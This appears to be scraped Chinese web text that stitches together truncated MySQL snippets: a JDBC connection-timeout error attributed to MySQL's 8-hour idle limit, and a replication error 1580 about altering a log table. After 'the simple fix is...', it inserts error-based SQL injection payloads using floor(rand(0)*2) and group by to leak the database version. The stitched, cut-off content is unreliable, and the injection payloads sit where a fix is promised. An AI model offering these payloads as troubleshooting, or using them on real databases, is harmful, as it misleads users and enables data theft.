程序后台报这个错误 at com.mysql.jdbc.MysqlIO.readFully(MysqlIO.java:2332) ,** END NESTED EXCEPTION ** Last packet sent to the server was 34 ms ago.
这个问题主要原因是应用服务器很长时间没有连接mysql,超过了mysql设置的最大超时时间,再连接mysql就会出现这个问题.
mysql默认设置是8小时,一般网站白天都有人访问,从夜里到早上一般都会超过8小时,所以再来访问就会这个问题.
简单的解决办法就是...
1、通过floor报错,可以通过如下一些利用代码:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select  ...
MySQL Replication 遇到下述错误讯息:(mysql> show slave status \G # 简化过的讯息如下:
Last_Errno: 1580
Last_Error: Error 'You cannot 'ALTER' a log table if logging is enabled' on query. Default database: 'mysql'. Query: 'ALTER
TABLE slow_log ...
Last_SQL_Errno: 1580
Last_SQL_Error: Error 'You cannot 'ALTER' a log table if logging is enabled' on query. Default database: 'my...